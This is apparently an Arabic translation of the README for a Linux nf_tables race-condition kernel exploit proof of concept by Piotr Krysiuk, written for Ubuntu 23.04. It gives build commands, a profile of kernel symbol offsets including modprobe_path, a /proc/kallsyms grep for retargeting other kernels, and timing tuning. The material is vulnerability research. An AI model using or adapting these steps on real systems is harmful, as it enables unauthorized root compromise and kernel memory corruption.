
للاستخدام الشخصي، مؤلف POC هو Piotr Krysiuk، يرجى قراءة README.md قبل الاستخدام.
تم اختبار التعليمات أدناه على Ubuntu 23.04 (Lunar Lobster).
قم بتشغيل الأمر التالي لتثبيت تبعيات البناء:
sudo apt install gcc libmnl-dev libnftnl-dev
قم بتشغيل الأمر التالي لبناء الثنائي للإثبات (PoC):
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
يحتوي الملف الشخصي المضمن على معلمات خاصة بنواة Linux الموزعة في شكل ثنائي كالحزم التالية من Ubuntu 23.04 (Lunar Lobster):
يبدو الملف الشخصي المضمن على النحو التالي:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
خطوات اختيارية لتجاوز الملف الشخصي المضمن عند الاختبار مع أنوية Linux أخرى:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
للعثور على قاعدة النواة، نقوم بفحص صورة nf_tables.ko في
ذاكرة النواة. وبالتحديد، نقوم بتحليل رمز الآلة للتابع
nft_counter_destroy(). هذا يعني أن طريقتنا حساسة لـ
المترجم بالإضافة إلى خيارات التجميع. ومع ذلك، يمكن معالجة جميع الحالات المعتادة
عن طريق تجاوز الملف الشخصي المضمن.
على سبيل المثال، قد يبدو رمز الآلة للتابع nft_counter_destroy() كما يلي:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
في الحالة أعلاه، يمكننا تحديد بعض المعلمات عن طريق إضافة الأسطر الثلاثة أدناه إلى ملف الإعدادات "profile".
أولاً، نعيد تعريف إزاحة الكلمة المزدوجة (dword) التي تسبق إزاحة free_percpu:
5 nft_counter_destroy_call_offset # hex
حيث تم حساب القيمة 5 باستخدام التعبير (1e31d - 1e310) - 8.
كتحقق من الصحة، نتحقق بعد ذلك من الكلمة المزدوجة عند الإزاحة أعلاه باستخدام القناع التالي:
ffffffff nft_counter_destroy_call_mask # hex
متوقعين القيمة التالية:
e9087e8b nft_counter_destroy_call_check # hex
يتطلب استغلال الثغرة الفوز في سباق مع خيط العامل الخلفي التابعة لنواة Linux. تم ضبط الملف الشخصي المضمن لتعظيم فرصة الفوز في هذا السباق على مجموعة واسعة من معالجات Intel بما في ذلك mobile Sandy Bridge و desktop Comet Lake. ومع ذلك، تتطلب بعض المعالجات ضبطًا إضافيًا. على سبيل المثال، لاحظنا زيادة في زمن الانتقال لتبديل المهام في Alder Lake في بعض الإعدادات، حيث قد يكون من الضروري إضافة السطر التالي إلى ملف "profile":
400 race_lead_sleep
قمنا بقياس احتمالية 80% أو أفضل لاستغلال الثغرة بنجاح في اختباراتنا التي استخدمت أنظمة مخصصة خاملة.
بمجرد بدء تشغيل الإثبات (PoC) على نظام ضعيف، قد يترك النظام في حالة غير مستقرة مع ذاكرة نواة تالفة. نوصي بشدة باختبار الإثبات على نظام مخصص لتجنب تلف البيانات المحتمل.